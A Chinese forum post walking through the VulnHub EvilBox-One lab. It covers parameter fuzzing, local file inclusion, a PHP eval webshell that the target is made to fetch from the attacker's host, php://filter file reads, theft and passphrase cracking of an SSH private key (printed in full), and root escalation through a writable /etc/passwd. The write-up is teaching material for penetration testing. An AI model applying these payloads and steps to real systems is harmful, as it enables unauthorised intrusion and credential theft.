第九次打靶

打印 上一主题 下一主题

主题 1060|帖子 1060|积分 3180

靶机介绍

1)靶机地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova
2)靶机难度:低→中
3)打靶目标:  取得 root 权限 + 2 Flag
4)涉及攻击方法:主机发现、网络扫描、强制访问、参数爆破、文件包含、PHP封装器、任意文件读取、SSH公钥登录、离线密码破解、系统权限漏洞利用
5)该靶机的边界突破和提权方法非常具有新意,与之前的打靶过程非常不同,可以很好的扩展渗透思路和补强个人能力的短版,对于初学者学习更加有益。
打靶过程

1)主机发现:本次通过fping命令进行主机发现

2)全端口扫描:扫描目标主机开放的端口

3)对发现的端口进行服务版本扫描(-A 相当于-sV和-sC的组合)

4)先对22端口进行了简单的暴力破解,无法破解出ssh服务的root密码,再通过浏览器访问目标主机的80端口:首页面只是一个简单的页面,无任何漏洞
  1. 浏览器:http://192.168.56.113/
复制代码

8)对网站根目录进行路径扫描
①通过gobuster工具对网站根目录进行路径爬取(gobuster是通过go语言写的路径扫描工具,速度快,其中-w表示指定字典,-x表示扫描的文件类型):扫描完成后发现了rebots.txt文件和secret
  1. # gobuster dir -u "http://192.168.56.113" -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
复制代码

②根据扫描出的路径,重新构建URL路径,再次进行扫描:发现在secret路径下,存在evil.php文件
  1. # gobuster dir -u "http://192.168.56.113/secret" -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
复制代码

9)在浏览器访问发现的evil.php发现页面显示空白
  1. 浏览器:
  2.         http://192.168.56.113/secret
  3.         http://192.168.56.113/secret/evil.php
复制代码
说明:某些页面方式时,需要在URL中添加参数才能正常访问,当某个页面没有暴漏出存在哪些参数时,需要对该页面进行参数的爆破。只有知道参数才能对参数进行后续的注入等攻击
10)对URL的参数名和参数值进行爆破,可以选择Burp工具的Intruder模块,也可使用如下工具
①先手动编写一个参数值字典,使其和参数名字典进行匹配
  1. # cat vul.txt
  2. 1
  3. 2
  4. 3
  5. a
  6. b
  7. c
  8. '
  9. "
  10. (
  11. <
  12. ,
  13. ;
  14. /
  15. %
复制代码
②使用工具对参数进行暴力破解:发现爆破失败
  1. # ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w vul.txt:vul -u http://192.168.56.113/secret/evil.php?PARAM=vul -fs 0
  2. -w   表示挂载的字典(字典包含大量web程序参数名称)
  3. -fs 0表示过滤掉空页面的内容
复制代码

③由于只有一个字典了,将不设置参数名,参数名可用FUZZ进行替换,表示模糊测试,接下来工具将使用字典中的每一个关键字进行替换FUZZ。判断是否存在一个参数可以做文件包含引用(通过前面扫描可知 ../index.html是一定存在的)
  1. # ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt  -u http://192.168.56.113/secret/evil.php?FUZZ=../index.html -fs 0
复制代码
通过扫描,发现存在一个command参数

④在浏览器通过访问,进行确定command参数确实存在
  1. http://192.168.56.113/secret/evil.php?command=../index.html
  2. http://192.168.56.113/secret/evil.php?command=../../../../../../etc/passwd
复制代码

发现确实存在文件包含漏洞

11)在kali上构造webshell,通过文件包含,尝试让其引用kali上的一句话木马文件,如果 可以远程的完成文件包含,则目标主机就可以把一句话木马包含应用到当前页面中,从而完成命令执行的操作
①kali上构建一句话木马
  1. # cat a.php
  2. <?php @eval($_POST['cmd']);?>
  3. #systemctl start apache2
  4. # curl -I http://192.168.56.103/a.php
复制代码

②在浏览器进行测试,是否支持远程文件包含:页面回显空白,不支持远程文件包含
  1. http://192.168.56.113/secret/evil.php?command=http://192.168.56.103/a.php?cmd=ls
  2. http://192.168.56.113/secret/evil.php?command=http://192.168.56.103/a.php?cmd=id
复制代码
12)尝试使用PHP的封装器方式(协议类型)
①利用filter封装器功能,尝试将目标服务器上的文件通过编码转化的方式读取出来,实现任意文件读取的效果
把eval.php内容以base64的编码类型的方式读取出来
  1. http://192.168.56.113/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
复制代码

②将回显的base64编码,利用cyberchef的From base64功能,将编码还原成代码(也可使用Burp的Decode功能):通过代码审计发现,确实存在文件包含漏洞
  1. [/code][img]https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221214094251821-1986285184.png[/img]
  2. ③尝试通过write命令,向目标服务器去写入一些内容,为保证写入内容的成功,先将写入的内容转化成base64编码,在使用decode方法。将decode后的内容写入到一个新的文件
  3. [code]kali主机:生成base64代码
  4.         # echo 123 | base64
  5.         MTIzCg==
  6. 浏览器:
  7. http://192.168.56.113/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.php&txt=MTIzCg==
复制代码
④在浏览器访问刚才写入的文件test.txt发现不存在,所以上述写入操作是失败的,由此可知当前靶机的站点目录下是没有写入权限的
13)通过之前本地文件包含,查看到的/etc/passwd文件,发现操作系统存在一个mowree用户。再加上目标靶机开放22端口,可以尝试使用mowree用户进行登录
  1. # ssh mowree@192.168.56.113 -v         #-v表示显示登录过程中的详细信息
复制代码
发现目标靶机支持publickey,password两种身份认证(公钥身份认证、密码身份认证)

猜想:如果目标系统支持某个账号使用公钥的方式登录,则在这个登录账号的主目录下就存在目标服务器的公钥
14)通过文件包含漏洞,对mowree用户的家目录进行访问:发现确实存在authorized_keys文件,可以发现该公钥是mowree用户的公钥,且公钥加密生成的算法是rsa,目标主机为EvilBoxOne
①查看公钥
  1. http://192.168.56.113/secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys
复制代码

②查看私钥
  1. http://192.168.56.113/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa
复制代码

③将私钥文件保存至id_rsa,并设置权限
  1. # vi id_rsa
  2. -----BEGIN RSA PRIVATE KEY-----
  3. Proc-Type: 4,ENCRYPTED
  4. DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E
  5. uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
  6. hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
  7. o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
  8. +gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
  9. b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
  10. HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
  11. 9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
  12. zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
  13. rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
  14. tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
  15. 94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
  16. VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
  17. Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
  18. hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
  19. Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
  20. IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
  21. MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
  22. 62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
  23. Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
  24. p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
  25. pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
  26. KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
  27. i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
  28. 4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
  29. 8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
  30. -----END RSA PRIVATE KEY-----
  31. ─# chmod 600 id_rsa
复制代码
④通过私钥尝试进行登录:发现仍然需要属于一个passphrase密码,该密码为公私钥对生成时的所有者,对私钥又加了一层密码,只有知道这个密码,才能解开这个私钥
  1. # ssh mowree@192.168.56.113 -i id_rsa
复制代码

15)将加密私钥的密码破解出来
①利用离线密码爆破工具john将id_rsa转化成john工具可以识别的文件格式
  1. # cd /usr/share/john/
  2. # ./ssh2john.py /var/www/html/id_rsa >  /root/hash
复制代码

②指定密码字典,对id_rsa转换后的hash文件进行爆破:破解出了私钥文件加密密码为unicorn
  1. # cp /usr/share/wordlists/rockyou.txt.gz /root
  2. # gunzip rockyou.txt.gz
  3. # john /root/hash --wordlist=/root/rockyou.txt
复制代码

16)再次使用ssh进行登录:成功登陆至目标服务器,突破边界
  1. # ssh mowree@192.168.56.113 -i id_rsa
复制代码

17)获取到第一个flag

18)提权
①先查看有无定时任务:无
②再查看有无sudo权限:无
③查看是否具有内核漏洞:无
④查看是否具有suid的文件:无
  1. mowree@EvilBoxOne:~$ crontab -l
  2. no crontab for mowree
  3. mowree@EvilBoxOne:~$ sudo -l
  4. -bash: sudo: orden no encontrada
  5. mowree@EvilBoxOne:~$ uname -a
  6. Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
  7. mowree@EvilBoxOne:~$ find / -perm /4000 2>/dev/null       #将报错信息进程重定向
  8. mowree@EvilBoxOne:~$ find / -perm /2000 2>/dev/null
复制代码

⑤查看当前账号具有写权限的文件:通过查看发现/etc/passwd具有写权限
  1. mowree@EvilBoxOne:~$ find / -writable  2>/dev/null |grep -v proc
  2. mowree@EvilBoxOne:~$ ls -l /etc/passwd
  3. -rw-rw-rw- 1 root root 1398 ago 16  2021 /etc/passwd
复制代码

19)修改/etc/passwd文件中root用户的密码,使其可以直接登录
①通过算法,简单生成一个加密之后的密码
  1. mowree@EvilBoxOne:~$ openssl passwd -1         #-1表示一种算法
  2. Password:
  3. Verifying - Password:
  4. $1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0
复制代码

②将/etc/passwd文件中的root用户密码修改为$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0
  1. mowree@EvilBoxOne:~$ cat /etc/passwd
  2. root:$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0:0:0:root:/root:/bin/bash
复制代码
③通过su直接切换至root用户:获取到flag
  1. mowree@EvilBoxOne:~$ su - root
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

西河刘卡车医

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表